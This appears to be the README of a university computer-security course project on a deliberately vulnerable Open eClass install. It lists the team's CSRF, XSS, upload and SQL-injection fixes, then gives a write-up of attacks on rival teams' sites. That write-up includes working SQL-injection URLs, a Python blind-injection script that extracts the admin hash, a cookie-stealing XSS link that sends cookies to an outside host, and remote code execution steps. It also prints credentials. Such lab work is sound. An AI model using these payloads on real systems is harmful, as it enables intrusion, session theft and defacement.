This repository contains an old and vulnerable version of eclass. Intended use in the context of YS13 Computer Security. Do not use for any other purpose.
# create and start (the first run takes time to build the image)
docker-compose up -d
# stop/restart
docker-compose stop
docker-compose start
# stop and remove
docker-compose down -v
The site will be available on http://localhost:8001/. Upon first start-up, you will have to run the installer.
In the installer, apply the following settings:
- MySQL Settings
- Database Server:
db
- Database Username:
root
- Database Password:
46AQKrwV4G
- Database Server:
- System Settings
- Open eClass URL:
http://localhost:8001/
- Admin Username :
drunkadmin
- Open eClass URL:
If you want to reset openeclass, delete the directory openeclass/config
, and the installer will run again.
Description: https://ys13.chatzi.org/assets/projects/project1.pdf
- 1115202000018, Γεώργιος-Αλέξανδρος Βασιλακόπουλος
- 1115202000097, Ζωή Κουκουβέ
Numerous CSRF vulnerabilities were detected, accross many different modules of the platform. More specifically, requests that were made through forms in the admin side were completely exposed to such attacks and, in some extreme cases, simple GET requests could be used to change the state of the server.
In order to patch these vulnerabilities, we implemeneted CSRF token authentication. All state changing forms should now contain a hidden 'token' field that was provided by the server through a non state-changing GET request, while state-changing GET requests should include the token in the URL.
Below is a list of most of the patched files/directories. In total 62 files were changed:
-
modules/admin/change_user.php
-
modules/admin/listreq.php
: Prevented the status change of registration requests through CSRF. -
modules/admin/listusers.php
,modules/admin/search_user.php
: Prevents user searches through CSRF. -
modules/admin/multireguser.php
: Prevented the registration of multiple users through CSRF -
modules/admin/newuseradmin.php
: Prevented the registration of a new admin. -
modules/admin/password.php
: Prevented password change of users (or even admin). -
modules/admin/unreguser.php
: Prevented the deletion of an account. -
modules/admin/edituser.php
: Prevented altering user information. -
modules/admin/mailtoprof.php
: Prevented email sending. -
modules/admin/addfaculte.php
: Prevented the creation/deletion of a department/faculty -
modules/admin/adminannouncements.php
: Prevented creation/edit/removal of an admin announcement -
modules/admin/eclassconf.php
: Prevented submission of malicious configuration settings. -
modules/admin/listcours.php
: Prevented the submission of a search. -
modules/admin/delcours.php
: Prevented the deletion of a course. -
modules/admin/editcours.php
,modules/admin/infocours.php
-
modules/admin/infocours.php
: Prevented altering course information. -
modules/admin/addusertocours.php
: Prevented granting admin access to course. -
modules/admin/quotacours.php
: Prevented altering course quota. -
modules/announcements/announcements.php
: Prevented the submission of an announcement in a course. -
In
modules/exercise/
,files:admin.php
,answer_admin_inc.php
,exercise.php
,exercise_admin.php
,question_admin.php
,question_list_admin.inc.php
,question_list_admin.inc.php
,question_pool.php
,statement_admin.inc.php
: Secured the exercise module of a course. -
In
modules/course_info/
, files :course_create.php
,delete_course.php
,refresh_course.php
,infocours.php
,restore_course.php
,course_tools.php
: Prevented course changing actions/ creation of course. -
In
modules/agenda/agenda.php
:agenda.php
: Prevented the creation of an event. -
In
modules/document/
:document.php
,upload.php
: Secured the document module from CSRF attacks. -
In
modules/forum_admin/
:forum_admin.php
: Prevented the creation of a category -
In
profile/profile.php
: Prevented change of user credentials. -
In
modules/group/
:document.php
,group.php
,group_creation.php
,group_edit.php
,group_space.php
: Secured the group module. -
In
modules/video/
: Secured the video module. -
In
modules/work/
: Secured the work module. -
In
modules/wiki/
: Secured the wiki module. -
In
modules/phpbb/
: Secured the phpbb module.
In this version of the platform, there were many XSS vulnerabilities that could be exploited, both stored and reflected. Since most of the admin side is protected by CSRF token authentication, there were fewer reflected XSS vulnerabilites that could be exploited. These were some obscure cases where the request did not change the state of the server and therefore, did not require authentication.
-
In places where user information (such as name, last name) was displayed, the output was not filtered for html characters. Therefore, if a user set malicious html code as personal info, this code would be executed in places where the personal info was displayed. Characteristic examples of such places are:
- listing of users (
/admin/listusers.php
) - listing of teacher requests (
/admin/listreq.php
) - management of users in courses (
/user
) - admin information (such as statistics, 'last user registration' etc)
- in the confirmation of deletion of a user (
/admin/unreguser.php
)
- listing of users (
-
In the forum section of a course (
/modules/mathbb
), neither the users' credentials, nor their activity (posts/answers) was escaped for html characters. The navigation bar was also prone to attacks. -
The conference section, for the same reason, was vulnerable to stored XSS attacks.
-
In the assignment section, the users' comments was not sanitized - stored XSS vulnerability. Also, a reflected XSS attack could be triggered by setting malicious code as argument in
&submission=
. Example:http://localhost:8001/modules/work/grade_edit.php?assignment=1&submission=></script><script>alert(1)</script><
-
The calendar (!) was also prone to reflected XSS attacks, by assigning malicious code to the
&year=
url argument. -
The inactive course modules were also patched for stored XSS attacks.
-
In some php files that referred to themselves through
$_SERVER['PHP_SELF']
, it might be possible to inject malicious code through the URL. Therefore, we replaced many instances of$_SERVER['PHP_SELF']
withhtmlspecialchars($_SERVER['PHP_SELF'])
For more details on XSS defenses, check out the commit history.
Furthermore, we came across a few cases where a user could upload a file that could either be executed by the server (php files, if requested through the url) or by the admin's browser (such as html files). These instances were located in the assignments and dropbox modules. The vulnerabilities, along with the security measures that we took were the following:
-
When a user clicks on a file received from the dropbox module, we set it so that the file immediately gets downloaded. Previously, we noticed that file types such html don't get downloaded and, instead, are displayed as pages in the browser. This is a hazard, since the files could contain malicious javascript code.
-
We turned off directory listing (
conf/000-default.conf
) because this would allow the user to manually direct the server to execute php code uploaded from the assignments module. -
We turned off directory listing (
conf/000-default.conf
) because this would allow the user to manually direct the server to execute php code uploaded from the assignments module. -
When an assignment is submitted by a student, the submitted file gets uploaded in a 'secret' folder within
courses/TMA***/work
. The problem was that the assigned name of the folder was the output ofuniqid("")
which is very predictable, since it is based upon the current time in microseconds (at the time of creation of the assignment). We chose to name the files using a much larger, random hexadecimal string, usingbin2hex(openssl_random_pseudo_bytes())
. Dropbox files also get renamed similarly, so that they cannot be easily found through the url. -
Also, uploaded .php .html .js .css files get converted to .php_secure .html_secure .js_secure .css_secure respectively.
Τhe main strategies we used to avoid SQL injections are the transformation of commands to use prepared statements, and the use of escaping functions such as intval() and mysql_real_escape_string().
We have secured from sql injection the modules that the user sees directly as well as the openclass/index.php file. More detailed
-
modules/work/
: Secured the work module. -
modules/phpbb/
: Secured the phpbb module. -
modules/unreguser/
: Secured the unreguser module. -
modules/search/
: Secured the search module. -
modules/profile/
: Secured the profile module. -
modules/link/
: Secured the link module. -
modules/forum_admin/
: Secured the forum_admin module. -
modules/dropbox/
: Secured the dropbox module. -
modules/agenda/
: Secured the agenda module. -
modules/announcements/
: Secured the announcements module. -
modules/auth/
: Secured the auth module. -
openclass/index.php
: Secured file.
In addition, we have secured from sql injection the following files that are used as libraries:
-
In
openclass/include/lib
: Secured filesmain.lib.php
,fileDisplayLib.inc.php
,fileManageLib.inc.php
. -
In
openclass/include
: Secured filesactions.php
,classic.php
,init.php
,login.php
,person.php
,tools.php
.
Finally, we have secured the following files to which the user does not have direct access, in order to avoid attacks resulting from a combination of SQL injection and CSRF.
-
In
modules/admin
: Secured filesaddfaculte.php
,addusertocours.php
,adminannouncements.php
,change_user.php
,delcourse.php
,editcours.php
,edituser.php
,index.php
,infocours.php
,listreq.php
,listusers.php
,monthlyReport.php
,multireguser.php
,newuseradmin.php
,password.php
,statsForm.php
,unreguser.php
. -
In
modules/user/
: Secured the user module. -
In
modules/create_course/
: Secured the create_course module. -
In
modules/exersice/
: Secured the exersice module. -
In
modules/video/
: Secured the video module. -
In
modules/wiki/
: Secured the wiki module. -
In
modules/usage/
: Secured the usage module. -
In
modules/course_home/
: Secured the wiki course_home (course_home.php). -
In
modules/contact/
: Secured the contact module (index.php). -
In
modules/course_info/
: Secured the course_info module. -
In
modules/perso/
: Secured the perso module.
Some of the vulnerabilities that we found are:
- When viewing a topic in forums, in
/modules/phpbb/viewtopic.php
, we can use a url like this/modules/phpbb/viewtopic.php?topic=' union select password as topic_title, 1 from eclass.user-- &forum=1')--
and the password would display as the topic title in the forums. - When creating a new topic in forums, in
/modules/phpbb/newtopic.php
, we can get the admin password hash by using that link/modules/phpbb/newtopic.php/?forum=') union select password as forum_name, 2 as forum_access, 1 as forum_id from eclass.user --
. After that, if we check the path displayed in the upper part of the screen we could notice the password hash Χαρτοφυλάκιο χρήστη » Ονομά μαθήματος » Περιοχές Συζητήσεων » admin password hash » Νέο θέμα. - When replying a new topic in forums, in (example with topic=1&forum=1)
/modules/phpbb/reply.php?topic=1&forum=1
there is a possibility of SQL injection in the url fields topic and forum. - In the Agenda
/modules/agenda/agenda.php
there is a possibility of SQL injection in the url fields year and month. - In
upgrade/index.php
every field in this form is SQLi-prone. - When unregistering a user from a course in
/modules/unreguser/unregcours.php?uid=1
(example with uid=1) there is a possibility of SQL injection in the url field uid. - When unregister a user, where we can use a url like this
modules/unreguser/unreguser.php?uid=1
(example with uid=1) there is a possibility of SQL injection in the url field uid. - Every field in these forms is SQLi-prone
/modules/search/search_incourse.php
/modules/search/search.php
- In the Assignments section, in
/modules/work/work.php
there is a possibility of SQL injection in the url field id, which is not checked to be int(intval), and is used to perform UPDATE queries to the DB. - Special emphasis was given to mainlib.php, because it is used in several parts of the code that are SQLi-prone.
-
We decided to add salt to the passwords, so that common passwords can't be decrypted through online databases.
-
If the admin tries to change password through
http://localhost:8001/modules/admin/edituser.php?u=1
, the page redirects tohttp://localhost:8001/modules/profile/password.php
. Previously, the admin could change his password through edituser without having to type his current password. This was a big risk because if someone managed to steal the cookie from the admin, they could simply change the password and gain permanent access. -
The deletion of a user also requires password verification. Previously, a user could be deleted simply by 'clicking the wrong link'.
The following section describes the attacks that we performed in an attempt to penetrate the eclass website secured by sloppy-baboons-69
.
-
The drunkadmin's encrypted password:
8908d60144e2896bfc6a877854de18e9
. This password was found through an sql injection in the beginning of the web-war. Later on, we found the actual-non encrypted password, through an RFI attack:STPgr6Xa4m
. We can confirm thatmd5("STPgr6Xa4m") = 8908d60144e2896bfc6a877854de18e9
. -
Our defacement involved posting funny memes as admin, changing the eclass logo with an animated pirate flag and permanently changing the language to Swahili (which, of course, was not a supported language of the platform) :). In the end we also changed the index.php with one of our own.
-
Our first attempted penetration was an SQL injection in the
upgrade.php
file and it was successful. We had noticed that in the vanilla version of the eclass, the form input was completely unsanitized. By setting Username:drunkadmin' UNION SELECT * FROM user, admin WHERE admin.idUser = user.user_id AND user.username = 'drunkadmin
and leaving the password empty, we managed to skip the authentication process.The ability to upgrade the system without being authorized is not very useful by itself. Nevertheless, by changing the format of the query, we were able to gain information about the drunkadmin's password and we eventually found it. Instead, we injected code of the form
drunkadmin' AND user.password LIKE '<prefix>%' UNION SELECT * FROM user, admin WHERE admin.idUser = user.user_id AND user.username = 'drunkadmin
. By changing the<prefix>
part of the input and checking the result, we managed to find the password in linear time.We used the following python script to fetch the password:
import requests
url = 'http://sloppy-baboons-69.csec.chatzi.org/upgrade/upgrade.php'
data = {'login':'drunkadmin\' UNION SELECT * FROM user, admin WHERE admin.idUser = user.user_id AND user.username = \'drunkadmin',
'password':''
}
response = requests.post(url, data=data)
success = response.content.decode('utf-8') #The page content of a successful attempt
data = {'login':'drunkadm\' UNION SELECT * FROM user, admin WHERE admin.idUser = user.user_id AND user.username = \'drunkadmin','password':'non'}
response = requests.post(url, data=data)
failure = response.content.decode('utf-8') #The page content of an unsuccessful attempt
def isPrefix(prefix):
log = 'drunkadmin\' AND user.password LIKE \''+ prefix + '%\' UNION SELECT * FROM user, admin WHERE admin.idUser = user.user_id AND user.username = \'drunkadmin'
data = {'login': log,'password':'non'}
response = requests.post(url, data=data)
response = response.content.decode('utf-8')
if response == success:
return True;
elif response == failure:
return False;
else:
print("Error!!")
hex_dict = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'}
md5_pass = ""
for i in range(32):
for c in hex_dict:
if isPrefix(md5_pass+c):
md5_pass = md5_pass + c
break
print(md5_pass)
-
We could also display the drunkadmin's password in
new_topic.php
by exploiting the fact that the form number provided from the url is passed into the query unsanitized:sloppy-baboons-69.csec.chatzi.org/modules/phpbb/newtopic.php?forum=') union select password, 2, 3 from eclass.user where username='drunkadmin'--+
will display the password in the navigation bar. -
Also, in
unreguser.php
, the course idcid
, taken from the url is also unsanitized. As a result, the urlsloppy-baboons-69.csec.chatzi.org/modules/unreguser/unregcours.php?cid=' union select password as intitule from user -- &u=1
will print the password in the confirmation of deletion request.
-
We noticed that the opposing team had not disabled the directory listing. Also, it was possible to upload a php file as an Assignment, in the assignments section, and then have the server execute it, by directing the url onto the assignment. By combining these two vulnerabilities, we were able to execute code of our own within the server. This allowed us to gain full access to the server and opened endless defacement opportunities:
-
Firstly, we gained the drunkadmin's password (which is the same as the mysql password), by executing
echo($mysqlPassword)
. Of course, this allowed us to log in as admins and completely take over. -
Then, we went on with our plan to change the language to swahili. The main difficulty that we came across was that we could not modify existing files within the
modules
directory, as the php scripts didn't have root permissions. For that reason, we had to upload the modified files in other directories and then change the variables that determine the location from which the files are loaded.-
We uploaded as an assignment a php file that can catch and execute a file upload request.
-
We used that to reupload the
modules/lang
directory into thecourses/
directory. -
Using Python, we passed every string of the
messages.inc.php
file into a google translate API and reconstructed the file. -
We replaced the
courses/lang/english/messages.inc.php
file with the modified one. -
We added the following line into the
config/config.php
file$_SESSION['langswitch'] = "../../courses/lang/english";
. This line forces the language files to be loaded from thecourses/
. Since there is no whitelist for the$language
variable, we can implicitly (through$_SESSION['langswitch']
) set it to a path of our own.
-
-
Then, we decided to change the logo of the website:
- We copied the
template
directory intocourses/template
- We changed the original
template/classic/img/logo_bg_50.gif
with one of our own. - We added the line
$relPath .= "courses/";
intoconfig.php
. This forces the server to load the template files that we imported.
- We copied the
-
-
If the team had disabled the directory browsing but had not changed the naming of the secret directory, we were planning to guess the name of the directory. Our plan was to find the return value of
uniqid()
, as we would know the number of microseconds at the time of the creation of the assignment. -
The dropbox and documents modules were also vulnerable to RFI attacks of the same kind: One could upload a file and guide the server through the URL to execute the uploaded file.
-
In the end we renamed the
openeclass/index.php
intoopeneclass/index2.php
and reuploaded an index.php of our own. One could still access the original index.php by clicking onto the image contained within our own index.php
-
The opponents secured a large number of stored XSS attacks in their site, by forbidding special html characters upon registration.
-
Stored XSS attacks could be performed in combination with CSRF. By making the drunkadmin send a malicious form on an unsecured module of eclass (even if it is disabled), the malicious html code would be executed whenever someone viewed it.
-
We successfully carried out a reflected XSS attack by convincing the drunkadmin to click on the following URL:
http://sloppy-baboons-69.csec.chatzi.org/modules/agenda/myagenda.php?month=6&year=<script type="text/javascript">document.location='http://teamrocket.puppies.chatzi.org/cookie.php/'+encodeURIComponent(btoa(document.cookie));</script>
. In our own website, we had set up acookie.php
file that stores within a text file the$_SERVER['PHP_SELF']
variables. Therefore, by clicking the link, the drunkadmin would include his own cookie within the URL. This URL would be stored within a text file in our server. Once we obtained the encoded cookie, we decoded it and included it in the requests of our browser. This, of course granted us admin privileges. -
In
new_topic.php
we discovered another reflected XSS vulnerability. If the drunkadmin were to click the linksloppy-baboons-69.csec.chatzi.org/modules/phpbb/newtopic.php?forum=') union select '<script>alert(1)</script>', 2, 3 from eclass.user where username='drunkadmin'--
, the malicious scriptsend_cookie()
would be executed because the server prints the sql syntax error on the top of the page, without filtering the output for html code. -
Similarly, in
view_topic.php
:http://sloppy-baboons-69.csec.chatzi.org/modules/phpbb/viewtopic.php?topic=></script><script>alert(1)</script><&forum=></script><script>alert(1)</script><
. -
Similarly, in
work.php
:sloppy-baboons-69.csec.chatzi.org/modules/work/work.php?id='--<script>alert(1)</script>
-
In
myagenda.php
, by using the following url, we perform a Reflexted XSS, by adding a script in the field year of the URL:http://sloppy-baboons-69.csec.chatzi.org/modules/agenda/myagenda.php?month=6&year=<script type="text/javascript">document.location='http://teamrocket.puppies.chatzi.org/cookie.php/'+encodeURIComponent(btoa(document.cookie));</script>
-
In
unregcours.php
, in the confirmation notice, the lesson id is taken directly from the URL unfiltered and, therefore, it is vulnerable to an XSS attack:http://sloppy-baboons-69.csec.chatzi.org/modules/unreguser/unregcours.php?cid=' union select '<script>alert(1)</script>' as intitule -- &u=1
-
In
lostpass.php
, by entering a script as a username and a valid email, one could perform a reflected XSS attack. -
Other XSS attacks can be carried out by writing scripts at the end of pages. This is due to the fact that
$_SERVER['PHP_SELF']
are not filtered for html code. Some exampleshttp://sloppy-baboons-69.csec.chatzi.org/modules/profile/profile.php/"><script>alert(1)</script>
http://sloppy-baboons-69.csec.chatzi.org/modules/auth/courses.php/"><script>alert(1)</script>
http://sloppy-baboons-69.csec.chatzi.org/modules/agenda/myagenda.php/"><script>alert(1)</script>
http://sloppy-baboons-69.csec.chatzi.org/modules/profile/profile.php/"><script>alert(1)</script>
http://sloppy-baboons-69.csec.chatzi.org/modules/profile/personal_stats.php/"><script>alert(1)</script>
http://sloppy-baboons-69.csec.chatzi.org/manuals/manual.php/"><script>alert(1)</script>
Our opponents had successfully secured most of the forms of the open modules. However, we did manage to find a few CSRF vulnerabilities:
-
Our opponents had not secured the assignment evaluation form. We exploited that by sending a misleading message to the drunkadmin that led them to submit a 10/10 grade and the message "Good job guys, this RFI was excellent!! The CSRF too!"
-
In
modules/link/link.php
we could create a new link with a CSRF attack. -
In
modules/group/group.php
we could lead the drunkadmin to delete all of the groups by clicking on the linkhttp://sloppy-baboons-69.csec.chatzi.org/modules/group/group.php?delete=yes"
-
We could also create a new exercise through a CSRF attack.
We did not pursue any of the last three attacks by sending a deceiving message to the drunkadmin, as we had already gained access to the platform through the RFI attacks.
In the last day of the web-war, only two teams had not been penetrated. One of which was the team that had managed to penetrate the defences of our own site. Vengeance was the only option.
We managed to find a bizzare XSS attack in the file include/phpmathpublisher/mathpublisher.php
In this file, the variable $webDir
is not initialized anywhere in the file. It appears that the system tries to create a directory by the name that $webDir
indicates.
If however, the creation of the directory fails, an unfiltered error is printed that says Unable to create directory $dirimg
where $dirimg=$webDir."courses/mathimg";
We exploited this by setting a malicious value in $webDir
through the URL:
include/phpmathpublisher/mathpublisher.php/?&webDir=<script>alert(1)</script>
Then, we performed the usual cookie stealer method to get the admin's cookie.
But we didn't stop there:
After gaining admin access, we noticed in modules/admin/eclassconf.php
that we could inject php code into the config.php
file. For example we could as $fax
the value ";echo "hey";$fax="
.
We injected code into config.php
that allowed us to send post requests containing files to config.php
and then the files would be placed inside the server.
By doing that we could run any php code that we wanted and we defaced their index just like they did to ours!
We exploited the same XSS vulnerability in the other team as well and we got admin access to their own site as well.
And then, there were none!